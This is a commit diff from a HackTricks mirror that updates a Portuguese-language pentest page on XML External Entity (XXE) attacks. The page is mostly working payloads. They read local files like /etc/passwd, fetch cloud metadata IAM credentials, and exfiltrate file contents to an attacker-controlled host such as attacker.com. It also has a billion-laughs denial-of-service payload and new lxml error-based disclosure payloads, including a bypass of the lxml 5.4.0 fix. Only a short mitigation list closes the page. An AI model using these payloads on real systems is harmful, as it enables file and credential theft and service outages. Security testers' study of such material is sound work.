mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xxe-xee-xml-external-entity.md'] to pt
This commit is contained in:
parent
2ec49ff518
commit
92d627fe16
@ -1,5 +1,10 @@
|
||||
# XXE - XEE - XML External Entity
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
- [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
|
||||
- [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Fundamentos do XML
|
||||
@ -9,8 +14,8 @@ XML é uma linguagem de marcação projetada para armazenamento e transporte de
|
||||
- **Representação de Dados através de Entidades**: Entidades em XML permitem a representação de dados, incluindo caracteres especiais como `<` e `>`, que correspondem a `<` e `>` para evitar conflitos com o sistema de tags do XML.
|
||||
- **Definindo Elementos XML**: XML permite a definição de tipos de elementos, delineando como os elementos devem ser estruturados e que conteúdo podem conter, variando de qualquer tipo de conteúdo a elementos filhos específicos.
|
||||
- **Definição de Tipo de Documento (DTD)**: DTDs são cruciais no XML para definir a estrutura do documento e os tipos de dados que ele pode conter. Eles podem ser internos, externos ou uma combinação, orientando como os documentos são formatados e validados.
|
||||
- **Entidades Personalizadas e Externas**: XML suporta a criação de entidades personalizadas dentro de um DTD para representação flexível de dados. Entidades externas, definidas com uma URL, levantam preocupações de segurança, particularmente no contexto de ataques de Entidade Externa XML (XXE), que exploram a forma como os parsers XML lidam com fontes de dados externas: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **Detecção de XXE com Entidades de Parâmetro**: Para detectar vulnerabilidades XXE, especialmente quando métodos convencionais falham devido a medidas de segurança do parser, entidades de parâmetro XML podem ser utilizadas. Essas entidades permitem técnicas de detecção fora de banda, como acionar consultas DNS ou requisições HTTP para um domínio controlado, para confirmar a vulnerabilidade.
|
||||
- **Entidades Personalizadas e Externas**: XML suporta a criação de entidades personalizadas dentro de um DTD para representação flexível de dados. Entidades externas, definidas com uma URL, levantam preocupações de segurança, particularmente no contexto de ataques de Entidade Externa XML (XXE), que exploram a forma como os analisadores XML lidam com fontes de dados externas: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **Detecção de XXE com Entidades de Parâmetro**: Para detectar vulnerabilidades XXE, especialmente quando métodos convencionais falham devido a medidas de segurança do analisador, entidades de parâmetro XML podem ser utilizadas. Essas entidades permitem técnicas de detecção fora de banda, como acionar consultas DNS ou requisições HTTP para um domínio controlado, para confirmar a vulnerabilidade.
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
|
||||
@ -75,7 +80,7 @@ Em aplicações baseadas em **Java**, pode ser possível **listar o conteúdo de
|
||||
```
|
||||
### SSRF
|
||||
|
||||
Um XXE poderia ser usado para abusar de um SSRF dentro de uma nuvem.
|
||||
Um XXE pode ser usado para abusar de um SSRF dentro de uma nuvem.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
|
||||
@ -108,7 +113,7 @@ Os passos executados por este DTD incluem:
|
||||
|
||||
1. **Definição de Entidades de Parâmetro:**
|
||||
- Uma entidade de parâmetro XML, `%file`, é criada, lendo o conteúdo do arquivo `/etc/hostname`.
|
||||
- Outra entidade de parâmetro XML, `%eval`, é definida. Ela declara dinamicamente uma nova entidade de parâmetro XML, `%exfiltrate`. A entidade `%exfiltrate` é configurada para fazer uma requisição HTTP ao servidor do atacante, passando o conteúdo da entidade `%file` dentro da string de consulta da URL.
|
||||
- Outra entidade de parâmetro XML, `%eval`, é definida. Ela declara dinamicamente uma nova entidade de parâmetro XML, `%exfiltrate`. A entidade `%exfiltrate` é configurada para fazer uma requisição HTTP para o servidor do atacante, passando o conteúdo da entidade `%file` dentro da string de consulta da URL.
|
||||
2. **Execução de Entidades:**
|
||||
- A entidade `%eval` é utilizada, levando à execução da declaração dinâmica da entidade `%exfiltrate`.
|
||||
- A entidade `%exfiltrate` é então usada, acionando uma requisição HTTP para a URL especificada com o conteúdo do arquivo.
|
||||
@ -125,7 +130,7 @@ Este payload define uma entidade de parâmetro XML `%xxe` e a incorpora dentro d
|
||||
|
||||
### Baseado em Erro (DTD Externo)
|
||||
|
||||
**Neste caso, vamos fazer com que o servidor carregue um DTD malicioso que mostrará o conteúdo de um arquivo dentro de uma mensagem de erro (isso é válido apenas se você puder ver mensagens de erro).** [**Exemplo daqui.**](https://portswigger.net/web-security/xxe/blind)
|
||||
**Neste caso, vamos fazer o servidor carregar um DTD malicioso que mostrará o conteúdo de um arquivo dentro de uma mensagem de erro (isso é válido apenas se você puder ver mensagens de erro).** [**Exemplo daqui.**](https://portswigger.net/web-security/xxe/blind)
|
||||
|
||||
Uma mensagem de erro de parsing XML, revelando o conteúdo do arquivo `/etc/passwd`, pode ser acionada usando um Documento Tipo de Definição (DTD) externo malicioso. Isso é realizado através dos seguintes passos:
|
||||
|
||||
@ -146,7 +151,7 @@ Ao ser executada, a resposta do servidor web deve incluir uma mensagem de erro e
|
||||
|
||||
_**Por favor, note que DTD externo nos permite incluir uma entidade dentro do segundo `eval`), mas isso é proibido no DTD interno. Portanto, você não pode forçar um erro sem usar um DTD externo (geralmente).**_
|
||||
|
||||
### **Baseado em Erro (system DTD)**
|
||||
### **Baseado em Erro (DTD do sistema)**
|
||||
|
||||
E quanto às vulnerabilidades XXE cegas quando **interações fora da banda estão bloqueadas** (conexões externas não estão disponíveis)?
|
||||
|
||||
@ -235,7 +240,7 @@ Agora, o arquivo criado pode ser enviado para a aplicação web potencialmente v
|
||||
|
||||
### Jar: protocol
|
||||
|
||||
O **jar** protocolo é acessível exclusivamente dentro de **aplicações Java**. Ele é projetado para permitir o acesso a arquivos dentro de um **PKZIP** archive (por exemplo, `.zip`, `.jar`, etc.), atendendo tanto a arquivos locais quanto remotos.
|
||||
O **protocolo jar** é acessível exclusivamente dentro de **aplicações Java**. Ele é projetado para permitir o acesso a arquivos dentro de um **PKZIP** archive (por exemplo, `.zip`, `.jar`, etc.), atendendo tanto a arquivos locais quanto remotos.
|
||||
```
|
||||
jar:file:///var/myarchive.zip!/file.txt
|
||||
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
@ -265,7 +270,7 @@ Uma técnica interessante para interromper esse processo na segunda etapa envolv
|
||||
```
|
||||
### DoS
|
||||
|
||||
#### Ataque do Bilhão de Risadas
|
||||
#### Ataque dos Bilhões de Risos
|
||||
```xml
|
||||
<!DOCTYPE data [
|
||||
<!ENTITY a0 "dos" >
|
||||
@ -514,7 +519,7 @@ Content-Type: application/x-xliff+xml
|
||||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
Essa abordagem revela que o User Agent indica o uso do Java 1.8. Uma limitação observada com esta versão do Java é a incapacidade de recuperar arquivos que contenham um caractere de nova linha, como /etc/passwd, usando a técnica Out of Band.
|
||||
Essa abordagem revela que o User Agent indica o uso do Java 1.8. Uma limitação observada com esta versão do Java é a incapacidade de recuperar arquivos que contêm um caractere de nova linha, como /etc/passwd, usando a técnica Out of Band.
|
||||
|
||||
Exfiltração de Dados Baseada em Erro Para superar essa limitação, uma abordagem Baseada em Erro é empregada. O arquivo DTD é estruturado da seguinte forma para acionar um erro que inclui dados de um arquivo alvo:
|
||||
```xml
|
||||
@ -675,13 +680,68 @@ XMLDecoder é uma classe Java que cria objetos com base em uma mensagem XML. Se
|
||||
|
||||
Dê uma olhada neste relatório incrível [https://swarm.ptsecurity.com/impossible-xxe-in-php/](https://swarm.ptsecurity.com/impossible-xxe-in-php/)
|
||||
|
||||
## Tools
|
||||
## Ferramentas
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/luisfontes19/xxexploiter
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
### Python lxml Parameter-Entity XXE (Divulgação de Arquivo Baseada em Erro)
|
||||
|
||||
> [!INFO]
|
||||
> A biblioteca Python **lxml** usa **libxml2** por trás. Versões anteriores a **lxml 5.4.0 / libxml2 2.13.8** ainda expandem entidades *parameter* mesmo quando `resolve_entities=False`, tornando-as acessíveis quando a aplicação habilita `load_dtd=True` e/ou `resolve_entities=True`. Isso permite payloads XXE Baseados em Erro que incorporam o conteúdo de arquivos locais na mensagem de erro do parser.
|
||||
|
||||
#### 1. Explorando lxml < 5.4.0
|
||||
1. Identifique ou crie um DTD *local* no disco que defina uma entidade de parâmetro **indefinida** (por exemplo, `%config_hex;`).
|
||||
2. Crie um DTD interno que:
|
||||
* Carregue o DTD local com `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">`.
|
||||
* Redefina a entidade indefinida para que ela:
|
||||
- Leia o arquivo alvo (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
|
||||
- Construa outra entidade de parâmetro que se refere a um **caminho inválido** contendo o valor `%flag;` e acione um erro de parser (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
|
||||
3. Finalmente, expanda `%local_dtd;` e `%eval;` para que o parser encontre `%error;`, falhe ao abrir `/aaa/<FLAG>` e vaze a flag dentro da exceção lançada – que muitas vezes é retornada ao usuário pela aplicação.
|
||||
```xml
|
||||
<!DOCTYPE colors [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
|
||||
<!ENTITY % config_hex '
|
||||
<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">
|
||||
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">
|
||||
%eval;'>
|
||||
%local_dtd;
|
||||
]>
|
||||
```
|
||||
Quando a aplicação imprime a exceção, a resposta contém:
|
||||
```
|
||||
Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
```
|
||||
> [!TIP]
|
||||
> Se o parser reclamar sobre caracteres `%`/`&` dentro do subconjunto interno, codifique-os duplamente (`&#x25;` ⇒ `%`) para atrasar a expansão.
|
||||
|
||||
#### 2. Contornando a proteção do lxml 5.4.0 (libxml2 ainda vulnerável)
|
||||
`lxml` ≥ 5.4.0 proíbe entidades de parâmetro *error* como a acima, mas **libxml2** ainda permite que elas sejam incorporadas em uma entidade *geral*. O truque é:
|
||||
1. Ler o arquivo em uma entidade de parâmetro `%file`.
|
||||
2. Declarar outra entidade de parâmetro que constrói uma entidade **geral** `c` cujo identificador SYSTEM usa um *protocolo inexistente* como `meow://%file;`.
|
||||
3. Colocar `&c;` no corpo XML. Quando o parser tenta desreferenciar `meow://…`, ele falha e reflete a URI completa – incluindo o conteúdo do arquivo – na mensagem de erro.
|
||||
```xml
|
||||
<!DOCTYPE colors [
|
||||
<!ENTITY % a '
|
||||
<!ENTITY % file SYSTEM "file:///tmp/flag.txt">
|
||||
<!ENTITY % b "<!ENTITY c SYSTEM 'meow://%file;'>">
|
||||
'>
|
||||
%a; %b;
|
||||
]>
|
||||
<colors>&c;</colors>
|
||||
```
|
||||
#### Principais conclusões
|
||||
* **Entidades de parâmetro** ainda são expandidas pelo libxml2 mesmo quando `resolve_entities` deveria bloquear XXE.
|
||||
* Um **URI inválido** ou **arquivo inexistente** é suficiente para concatenar dados controlados na exceção lançada.
|
||||
* A técnica funciona **sem conectividade de saída**, tornando-a ideal para ambientes com filtragem de egressos estrita.
|
||||
|
||||
#### Orientações de mitigação
|
||||
* Atualize para **lxml ≥ 5.4.0** e assegure que o **libxml2** subjacente seja **≥ 2.13.8**.
|
||||
* Desative `load_dtd` e/ou `resolve_entities`, a menos que absolutamente necessário.
|
||||
* Evite retornar erros de parser brutos ao cliente.
|
||||
|
||||
## Referências
|
||||
|
||||
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
|
||||
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
|
||||
@ -692,4 +752,7 @@ https://github.com/luisfontes19/xxexploiter
|
||||
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)
|
||||
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
|
||||
|
||||
- [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
|
||||
- [lxml bug #2107279 – Parameter-entity XXE ainda possível](https://bugs.launchpad.net/lxml/+bug/2107279)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user